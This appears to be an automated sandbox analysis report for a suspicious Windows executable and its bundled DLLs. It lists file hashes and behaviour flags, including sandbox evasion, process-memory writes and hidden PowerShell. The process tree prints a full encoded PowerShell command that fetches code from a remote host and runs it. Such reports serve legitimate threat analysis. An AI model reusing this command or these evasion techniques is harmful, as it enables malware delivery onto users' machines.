Overview
overview
8Static
static
5auth\O4bL6Cpwn4kO.exe
windows10-2004-x64
8auth\O4bL6Cpwn4kO.exe
windows11-ltsc_2024-x64
8loader.exe
windows10-2004-x64
8loader.exe
windows11-ltsc_2024-x64
8vcruntime140.dll
windows10-2004-x64
1vcruntime140.dll
windows11-ltsc_2024-x64
1version.dll
windows10-2004-x64
8version.dll
windows11-ltsc_2024-x64
8Analysis
- user interaction
yes - max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
27/10/2026, 18:38
Static task
static1
Behavioral task
behavioral1
Sample
auth\O4bL6Cpwn4kO.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
auth\O4bL6Cpwn4kO.exe
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral3
Sample
loader.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral4
Sample
loader.exe
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral5
Sample
vcruntime140.dll
Resource
win10v2004-20260911-en
Behavioral task
behavioral6
Sample
vcruntime140.dll
Resource
win11ltsc2024-20260911-en
Behavioral task
behavioral7
Sample
version.dll
Resource
win10v2004-20260911-en
Behavioral task
behavioral8
Sample
version.dll
Resource
win11ltsc2024-20260911-en
General
- Target auth\O4bL6Cpwn4kO.exe
- Size 131.8MB
- Sample261027-w97kqaec56
- SHA256 f200923165a6510508964000f305df45a00bc079f3eb97dcd14ca94ae0cd0dd5
- MD5 98264f9aba5271ca6e2c971ca8a8ad8f
- SHA1 fd1a1c8c61d343f89921a1685e72326ff5fba067
- SHA512 7d2b999c43d708d22ebfee722b87cbbf286bd404220e68d1f2343856eed0ba25d37cc9a019f41bc2ee8c8d62d1ffc24f7eb0750d1b4179914cd2a2250f73fc1b
- SSDEEP 49152:yhVE7yRCmUxKfRV6CAVqe1gHjBy/ymEK/16wccHtgshpCVjiV:yhVDdV0bHtRjCVjY
- TLSH T131688E2BA3E901ACC0B3C07D89475507EBB2344653A1EEDB56A085665FB7BE01F7A730
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 2012 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2012 powershell.exe - Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion O4bL6Cpwn4kO.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2012 powershell.exe 2012 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2012 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 620 wrote to memory of 2012 620 O4bL6Cpwn4kO.exe 84
Processes
-
C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO.exe"C:\Users\Admin\AppData\Local\Temp\auth\O4bL6Cpwn4kO.exe"1⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
PID:620 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2012
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4krl14y2.lhm.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH